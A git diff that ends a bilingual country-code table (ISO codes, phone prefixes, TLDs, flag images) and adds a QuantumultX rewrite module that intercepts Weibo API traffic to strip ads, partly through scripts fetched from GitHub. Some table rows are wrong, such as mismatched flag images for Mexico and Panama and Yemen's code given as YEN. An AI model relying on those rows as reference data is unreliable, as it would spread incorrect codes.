| 692 | .mh | the Republic of the Marshall Islands | +| 138 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_France.svg.png) | 马提尼克 | Martinique | MQ | MTQ | 474 | 596 | .mq | | +| 139 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Mauritania.svg.png) | 毛利塔尼亚 | Mauritania | MR | MRT | 478 | 222 | .mr | the Islamic Republic of Mauritania | +| 140 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Mauritius.svg.png) | 毛里求斯 | Mauritius | MU | MUS | 480 | 230 | .mu | the Republic of Mauritius | +| 141 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/38px-Flag_of_Mayotte.jpg) | 马约特 | Mayotte | YT | MYT | 175 | 262 | .yt | | +| 142 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Haiti.svg.png) | 墨西哥 | Mexico | MX | MEX | 484 | 52 | .mx | the United Mexican States | +| 143 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Federated_States_of_Micronesia.svg.png) | 密克罗尼西亚联邦 | Micronesia | FM | FSM | 583 | 691 | .fm | the Federated States of Micronesia | +| 144 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Moldova.svg.png) | 摩尔多瓦 | Moldova | MD | MDA | 498 | 373 | .md | the Republic of Moldova | +| 145 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Monaco.svg.png) | 摩纳哥 | Monaco | MC | MCO | 492 | 377 | .mc | the Principality of Monaco | +| 146 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Mongolia.svg.png) | 蒙古 | Mongolia | MN | MNG | 496 | 976 | .mn | | +| 147 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Montenegro.svg.png) | 黑山 | Montenegro | ME | MNE | 499 | 382 | .me | the Republic of Montenegro | +| 148 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Montserrat.svg.png) | 蒙特塞拉特 | Montserrat | MS | MSR | 500 | 1 664 | .ms | | +| 149 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Morocco.svg.png) | 摩洛哥 | Morocco | MA | MAR | 504 | 212 | .ma | the Kingdom of Morocco | +| 150 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Mozambique.svg.png) | 莫桑比克 | Mozambique | MZ | MOZ | 508 | 258 | .mz | the Republic of Mozambique | +| 151 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Myanmar.svg.png) | 缅甸 | Myanmar | MM | MMR | 104 | 95 | .mm | the Union of Myanmar | +| | N | | | | | | | | | +| 152 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Namibia.svg.png) | 纳米比亚 | Namibia | NA | NAM | 516 | 264 | .na | the Republic of Namibia | +| 153 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Nauru.svg.png) | 瑙鲁 | Nauru | NR | NRU | 520 | 674 | .nr | the Republic of Nauru | +| 154 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/16px-Flag_of_Nepal.svg.webp) | 尼泊尔 | Nepal | NP | NPL | 524 | 977 | .np | | +| 155 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Netherlands.svg.png) | 荷兰 | Netherlands | NL | NLD | 528 | 31 | .nl | the Kingdom of the Netherlands | +| 156 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Macau.svg.png) | 荷属安的列斯 | Netherlands Antilles | AN | ANT | 530 | | | | +| 157 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/38px-Flag_of_Caledonia.jpg) | 新喀里多尼亚 | New Caledonia | NC | NCL | 540 | 687 | .nc | | +| 158 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_New_Zealand.svg.png) | 新西兰 | New Zealand | NZ | NZL | 554 | 64 | .nz | | +| 159 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Nicaragua.svg.png) | 尼加拉瓜 | Nicaragua | NI | NIC | 558 | 505 | .ni | the Republic of Nicaragua | +| 160 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Niger.svg.png) | 尼日尔 | Niger | NE | NER | 562 | 227 | .ne | the Republic of the Niger | +| 161 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Nigeria.svg.png) | 尼日利亚 | Nigeria | NG | NGA | 566 | 234 | .ng | the Federal Republic of Nigeria | +| 162 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Niue.svg.png) | 纽埃 | Niue | NU | NIU | 570 | 683 | .nu | the Republic of Niue | +| 163 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Norfolk_Island.svg.png) | 诺福克岛 | Norfolk Island | NF | NFK | 574 | 6723 | .nf | | +| 164 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Northern_Mariana_Islands.svg.png) | 北马里亚纳 | Northern Mariana Islands | MP | MNP | 580 | 1 670 | .mp | the Commonwealth of the Northern Mariana Islands | +| 165 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Norway.svg.png) | 挪威 | Norway | NO | NOR | 578 | 47 | .no | the Kingdom of Norway | +| | O | | | | | | | | | +| 166 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Oman.svg.png) | 阿曼 | Oman | OM | OMN | 512 | 968 | .om | the Sultanate of Oman | +| | P | | | | | | | | | +| 167 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Pakistan.svg.png) | 巴基斯坦 | Pakistan | PK | PAK | 586 | 92 | .pk | the Islamic Republic of Pakistan | +| 168 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Palau.svg.png) | 帕劳 | Palau | PW | PLW | 585 | 680 | .pw | the Republic of Palau | +| 169 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Palestine.svg.png) | 巴勒斯坦 | Palestinian Territory | PS | PSE | 275 | 970 | .ps | the Occupied Palestinian Territory | +| 170 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Macau.svg.png) | 巴拿马 | Panama | PA | PAN | 591 | 507 | .pa | the Republic of Panama | +| 171 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Papua_New_Guinea.svg.png) | 巴布亚新几内亚 | Papua New Guinea | PG | PNG | 598 | 675 | | | +| 172 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Paraguay.svg.png) | 巴拉圭 | Paraguay | PY | PRY | 600 | 595 | .py | the Republic of Paraguay | +| 173 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Peru.svg.png) | 秘鲁 | Peru | PE | PER | 604 | 51 | .pe | the Republic of Peru | +| 174 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Philippines.svg.png) | 菲律宾 | Philippines | PH | PHL | 608 | 63 | .ph | the Republic of the Philippines | +| 175 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Pitcairn_Islands.svg.png) | 皮特凯恩 | Pitcairn | PN | PCN | 612 | 64 | .pn | | +| 176 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Poland.svg.png) | 波兰 | Poland | PL | POL | 616 | 48 | .pl | the Republic of Poland | +| 177 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Portugal.svg.png) | 葡萄牙 | Portugal | PT | PRT | 620 | 351 | .pt | the Portuguese Republic | +| 178 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Puerto_Rico.svg.png) | 波多黎各 | Puerto Rico | PR | PRI | 630 | 1 787/939 | .pr | | +| | Q | | | | | | | | | +| 179 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Qatar.svg.png) | 卡塔尔 | Qatar | QA | QAT | 634 | 974 | .qa | the State of Qatar | +| | R | | | | | | | | | +| 180 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_France.svg.png) | 留尼汪 | Réunion | RE | REU | 638 | 262 | .re | | +| 181 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Romania.svg.png) | 罗马尼亚 | Romania | RO | ROU | 642 | 40 | .ro | | +| 182 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Russia.svg.png) | 俄罗斯联邦 | Russian Federation | RU | RUS | 643 | 7 | .ru | the Russian Federation | +| 183 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Rwanda.svg.png) | 卢旺达 | Rwanda | RW | RWA | 646 | 250 | .rw | the Republic of Rwanda | +| | S | | | | | | | | | +| 184 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_United_Kingdom.svg.png) | 圣赫勒拿 | Saint Helena | SH | SHN | 654 | 290 | .sh | | +| 185 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Saint_Kitts_and_Nevis.svg.png) | 圣基茨和尼维斯 | Saint Kitts and Nevis | KN | KNA | 659 | 1 869 | .kn | | +| 186 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Saint_Lucia.svg.png) | 圣卢西亚 | Saint Lucia | LC | LCA | 662 | 1 758 | .lc | | +| 187 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_France.svg.png) | 圣皮埃尔和密克隆 | Saint Pierre and Miquelon | PM | SPM | 666 | 508 | .pm | | +| 188 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Saint_Vincent_and_the_Grenadines.svg.png) | 圣文森特和格林纳丁斯 | Saint Vincent and the Grenadines | VC | VCT | 670 | 1 784 | .vc | | +| 189 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Samoa.svg.png) | 萨摩亚 | Samoa | WS | WSM | 882 | 685 | .ws | the Independent State of Samoa | +| 190 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_San_Marino.svg.png) | 圣马力诺 | San Marino | SM | SMR | 674 | 378 | .sm | the Republic of San Marino | +| 191 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Sao_Tome_and_Principe.svg.png) | 圣多美和普林西比 | Sao Tome and Principe | ST | STP | 678 | 239 | .st | the Democratic Republic of Sao Tome and Principe | +| 192 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Saudi_Arabia.svg.png) | 沙特阿拉伯 | Saudi Arabia | SA | SAU | 682 | 966 | .sa | the Kingdom of Saudi Arabia | +| 193 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Senegal.svg.png) | 塞内加尔 | Senegal | SN | SEN | 686 | 221 | .sn | the Republic of Senegal | +| 194 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Serbia.svg.png) | 塞尔维亚 | Serbia | RS | SRB | 688 | 381 | .rs | the Republic of Serbia / ISO 3166.1-2006新增 | +| 195 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Seychelles.svg.png) | 塞舌尔 | Seychelles | SC | SYC | 690 | 248 | .sc | the Republic of Seychelles | +| 196 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Sierra_Leone.svg.png) | 塞拉利昂 | Sierra Leone | SL | SLE | 694 | 232 | .sl | the Republic of Sierra Leone | +| 197 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Singapore.svg.png) | 新加坡 | Singapore | SG | SGP | 702 | 65 | .sg | the Republic of Singapore | +| 198 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Slovakia.svg.png) | 斯洛伐克 | Slovakia | SK | SVK | 703 | 421 | .sk | the Slovak Republic | +| 199 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Slovenia.svg.png) | 斯洛文尼亚 | Slovenia | SI | SVN | 705 | 386 | .si | the Republic of Slovenia | +| 200 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Solomon_Islands.svg.png) | 所罗门群岛 | Solomon Islands | SB | SLB | 090 | 677 | .sb | | +| 201 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Somalia.svg.png) | 索马里 | Somalia | SO | SOM | 706 | 252 | .so | the Somali Republic | +| 202 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_South_Africa.svg.png) | 南非 | South Africa | ZA | ZAF | 710 | 27 | .za | the Republic of South Africa | +| 203 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_South_Georgia_and_the_South_Sandwich_Islands.svg.png) | 南乔治亚岛和南桑德韦奇岛 | South Georgia and the South Sandwich Islands | GS | SGS | 239 | 500 | .gs | | +| 204 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Spain.svg.png) | 西班牙 | Spain | ES | ESP | 724 | 34 | .es | the Kingdom of Spain | +| 205 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Sri_Lanka.svg.png) | 斯里兰卡 | Sri Lanka | LK | LKA | 144 | 94 | .lk | the Democratic Socialist Republic of Sri Lanka | +| 206 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Sudan.svg.png) | 苏丹 | Sudan | SD | SDN | 736 | 249 | .sd | the Republic of the Sudan | +| 207 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Suriname.svg.png) | 苏里南 | Suriname | SR | SUR | 740 | 597 | .sr | the Republic of Suriname | +| 208 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Norway.svg.png) | 斯瓦尔巴岛和扬马延岛 | Svalbard and Jan Mayen | SJ | SJM | 744 | 47 | .sj | | +| 209 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Eswatini.svg.png) | 斯威士兰 | Swaziland | SZ | SWZ | 748 | 268 | .sz | the Kingdom of Swaziland | +| 210 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Sweden.svg.png) | 瑞典 | Sweden | SE | SWE | 752 | 46 | .se | the Kingdom of Sweden | +| 211 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/16px-Flag_of_Switzerland.svg.webp) | 瑞士 | Switzerland | CH | CHE | 756 | 41 | .ch | the Swiss Confederation | +| 212 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Syria.svg.png) | 叙利亚 | Syrian Arab Republic | SY | SYR | 760 | 963 | .sy | the Syrian Arab Republic | +| | T | | | | | | | | | +| 213 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Republic_of_China.svg.png) | 台湾 | Taiwan,Province of China | TW | TWN | 158 | 886 | .tw | | +| 214 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Tajikistan.svg.png) | 塔吉克斯坦 | Tajikistan | TJ | TJK | 762 | 992 | .tj | the Republic of Tajikistan | +| 215 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Tanzania.svg.png) | 坦桑尼亚 | Tanzania,United Republic of | TZ | TZA | 834 | 255 | .tz | the United Republic of Tanzania | +| 216 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Thailand.svg.png) | 泰国 | Thailand | TH | THA | 764 | 66 | .th | the Kingdom of Thailand | +| 217 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_East_Timor.svg.png) | 东帝汶 | Timor-Leste | TL | TLS | 626 | 670 | .tl | the Democratic Republic of Timor-Leste | +| 218 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Togo.svg.png) | 多哥 | Togo | TG | TGO | 768 | 228 | .tg | the Togolese Republic | +| 219 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Tokelau.svg.png) | 托克劳 | Tokelau | TK | TKL | 772 | 690 | .tk | | +| 220 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Tonga.svg.png) | 汤加 | Tonga | TO | TON | 776 | 676 | .to | the Kingdom of Tonga | +| 221 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Trinidad_and_Tobago.svg.png) | 特立尼达和多巴哥 | Trinidad and Tobago | TT | TTO | 780 | 1 868 | .tt | the Republic of Trinidad and Tobago | +| 222 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Tunisia.svg.png) | 突尼斯 | Tunisia | TN | TUN | 788 | 216 | .tn | the Republic of Tunisia | +| 223 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Turkey.svg.png) | 土耳其 | Turkey | TR | TUR | 792 | | | the Republic of Turkey | +| 224 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Turkmenistan.svg.png) | 土库曼斯坦 | Turkmenistan | TM | TKM | 795 | 993 | .tm | | +| 225 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Turks_and_Caicos_Islands.svg.png) | 特克斯和凯科斯群岛 | Turks and Caicos Islands | TC | TCA | 796 | 1 649 | .tc | | +| 226 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Tuvalu.svg.png) | 图瓦卢 | Tuvalu | TV | TUV | 798 | 688 | .tv | | +| | U | | | | | | | | | +| 227 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Uganda.svg.png) | 乌干达 | Uganda | UG | UGA | 800 | 256 | .ug | the Republic of Uganda | +| 228 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Ukraine.svg.png) | 乌克兰 | Ukraine | UA | UKR | 804 | 380 | .ua | | +| 229 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_United_Arab_Emirates.svg.png) | 阿联酋 | United Arab Emirates | AE | ARE | 784 | 971 | .ae | the United Arab Emirates | +| 230 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_United_Kingdom.svg.png) | 英国 | United Kingdom | GB | GBR | 826 | 44 | .gb | the United Kingdom of Great Britain and Northern Ireland | +| 231 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_United_States.svg.png) | 美国 | United States | US | USA | 840 | 1 | .us | the United States of America | +| 232 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_United_States.svg.png) | 美国本土外小岛屿 | United States Minor Outlying Islands | UM | UMI | 581 | 1 808 | .um | | +| 233 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Uruguay.svg.png) | 乌拉圭 | Uruguay | UY | URY | 858 | 598 | .uy | the Eastern Republic of Uruguay | +| 234 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Uzbekistan.svg.png) | 乌兹别克斯坦 | Uzbekistan | UZ | UZB | 860 | 998 | .uz | the Republic of Uzbekistan | +| | V | | | | | | | | | +| 235 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Vanuatu.svg.png) | 瓦努阿图 | Vanuatu | VU | VUT | 548 | 678 | .vu | the Republic of Vanuatu | +| 236 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Venezuela.svg.png) | 委内瑞拉 | Venezuela | VE | VEN | 862 | 58 | .ve | the Bolivarian Republic of Venezuela | +| 237 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Vietnam.svg.png) | 越南 | Viet Nam | VN | VNM | 704 | 84 | .vn | the Socialist Republic of Viet Nam | +| 238 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_British_Virgin_Islands.svg.png) | 英属维尔京群岛 | Virgin Islands (British) | VG | VGB | 092 | 1 284 | .vg | British Virgin Islands | +| 239 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_United_States_Virgin_Islands.svg.png) | 美属维尔京群岛 | Virgin Islands (U.S.) | VI | VIR | 850 | 1 340 | .vi | the Virgin Islands of the United States | +| | W | | | | | | | | | +| 240 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_France.svg.png) | 瓦利斯和富图纳 | Wallis and Futuna | WF | WLF | 876 | 681 | .wf | Wallis and Futuna Islands | +| 241 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Sahrawi_Arab_Democratic_Republic.svg.png) | 西撒哈拉 | Western Sahara | EH | ESH | 732 | 212 28 | .eh | | +| | Y | | | | | | | | | +| 242 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Yemen.svg.png) | 也门 | Yemen | YE | YEN | 887 | 967 | .ye | the Republic of Yemen | +| | Z | | | | | | | | | +| 243 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Zambia.svg.png) | 赞比亚 | Zambia | ZM | ZMB | 894 | 260 | .zm | the Republic of Zambia | +| 244 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Zimbabwe.svg.png) | 津巴布韦 | Zimbabwe | ZW | ZWE | 716 | 263 | .zw | the Republic of Zimbabwe | \ No newline at end of file diff --git a/QuantumultX/rewrite/weibo.snippet b/QuantumultX/rewrite/weibo.snippet new file mode 100644 index 00000000..9ee35fd9 --- /dev/null +++ b/QuantumultX/rewrite/weibo.snippet @@ -0,0 +1,105 @@ +#!name=微博&国际版去广告 +#!desc=整合了@zmqcherish和@Keywos的去广告配置,根据UA判断微博版本去广告 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/gif/naisi-01.gif +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/rewrite/weibo.snippet +#!tg-group=https://t.me/lanjieguanggao +#!category=奶思的模块 +#!tag = 去广告, 微博, 奶思 +#!system = iOS, iPadOS +#!system_version = +#!loon_version = +#!date=2025-06-29 23:00:00 +############################################# +# > "reject" 策略返回 HTTP 状态码 404,不附带任何额外内容 +# > "reject-200" 策略返回 HTTP 状态码 200,不附带任何额外内容 +# > "reject-img" 策略返回 HTTP 状态码 200,同时附带 1px gif +# > "reject-dict" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 对象 +# > "reject-array" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 数组 +############################################# + +# hostname = api.weibo.cn, mapi.weibo.com, *.uve.weibo.com, new.vip.weibo.cn, *api.weibo.cn, sdkapp.uve.weibo.com +hostname = *.weibo.cn, *.weibo.com, weibo.com + +############################################# 微博国际版去广告 ############################################# +# User-Agent: WeiboOverseas/6.3.8 (com.weibo.international; build:6.3.8.1; iOS 17.3.0) Alamofire/6.3.8 + +# 热门视频 | 热推荐 +^https?:\/\/api\.weibo\.cn\/\d\/(cardlist\?v_f=\d|ad\/weibointl\?) WeiboOverseas url-and-header echo-response text/html echo-response https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/template/reject-dict.json +^https?:\/\/weibointl\.api\.weibo\.cn\/portal\.php\?a=hot_search_users WeiboOverseas url-and-header echo-response text/html echo-response https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/template/reject-dict.json + +# 趋势页 | 开屏广告 | 用户中心 | 热搜置顶 | 我的页面 尊享专属 | 瀑布流去广告 +^https?:\/\/weibointl\.api\.weibo\.cn\/portal\.php\?(ct=(feed&a=trends|user&a=get_searching_info)|a=(get_coopen_ads|user_center|search_topic|open_app&auth|icon_center)) WeiboOverseas url-and-header script-response-body https://raw.githubusercontent.com/Keywos/rule/master/script/weibo_us/js/index.js +^https?:\/\/api\.weibo\.cn\/\d\/statuses\/.*timeline WeiboOverseas url-and-header script-response-body https://raw.githubusercontent.com/Keywos/rule/master/script/weibo_us/js/index.js +^https?:\/\/sdkapp\.uve\.weibo\.com\/interface\/sdk\/sdkad\.php WeiboOverseas url-and-header script-response-body https://raw.githubusercontent.com/Keywos/rule/master/script/weibo_us/js/index.js + +# 私信中绿洲的擦边诱导推广 +^https:\/\/weibointl\.api\.weibo\.cn\/portal\.php\?a=treehole&auth= url reject-dict + + +############################################# 微博国内版去广告 ############################################# +# User-Agent: Weibo/83823 (iPhone; iOS 17.2; Scale/3.00) + +^https:\/\/api\.weibo\.cn\/2\/!\/huati\/discovery_home_bottom_channels Weibo url-and-header reject-dict +^https:\/\/api\.weibo\.cn\/2\/!\/chaohua\/discovery\/home_bottom\/switch Weibo url-and-header reject-dict +^https:\/\/api\.weibo\.cn\/2\/!\/was\/finder\/searchbarchange\? Weibo url-and-header reject-dict + +# 似乎没用的请求,收集用户信息 +^https?:\/\/api\.weibo\.c(n|om)\/2\/(push\/active|client\/addlog_batch|ad\/preload) Weibo url-and-header script-request-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/template/req_replace_body.js + +# 屏蔽首页左上角每日的弹窗tips +^https?:\/\/m?api\.weibo\.c(n|om)\/\d/push/daily Weibo url-and-header reject-dict + +# 超话按钮的提示 +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/!\/huati\/discovery_home_bottom_getdotinfo Weibo url-and-header reject + +# 微博移除发现页广告 +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/search\/(finder|container_timeline|container_discover)\? Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js + +# 微博热搜页面广告 +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/(page|flowpage)\? Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js + +# 微博话题页面广告 +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/searchall\? Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js + +# 微博超话页面广告 +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_timeline_topicpage\? Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js + +# 微博超话tab页净化 +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_timeline_topic\? Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js + +# 微博详情页面广告 +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/extend\? Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_detail\? Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js + +# 微博最顶部的tab页分组 +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/groups\/allgroups\/v2 Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js + +# 微博评论区广告 +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/comments\/mix_comments\? Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_detail_comment\? Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js + +# 转发区广告 +^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_detail_forward\? Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js + +# 微博去广告以及去除各部分推广模块 - cherish +^https?:\/\/m?api\.weibo\.c(n|om)/2/(cardlist|searchall|page|messageflow|statuses/(unread_)?friends(/|_)timeline|groups/timeline|statuses/(container_timeline|container_timeline_hot|unread_hot_timeline|extend|video_mixtimeline|repost_timeline)|profile/(me|container_timeline)|video/(community_tab|remind_info|tiny_stream_video_list)|checkin/show|\!/live/media_homelist|comments/build_comments|container/get_item) Weibo url-and-header script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_main.js + +# 删除微博开屏广告 - cherish +^https?:\/\/bootrealtime\.uve\.weibo\.com\/v\d\/ad\/realtime Weibo url-and-header reject-dict +^https?:\/\/bootpreload\.uve\.weibo\.com\/v\d\/ad\/preload Weibo url-and-header reject-dict +^https?:\/\/sdkapp\.uve\.weibo\.com\/interface\/sdk\/(get-lbs-cell-info\.php|sdkconfig\.php) Weibo url-and-header reject-dict 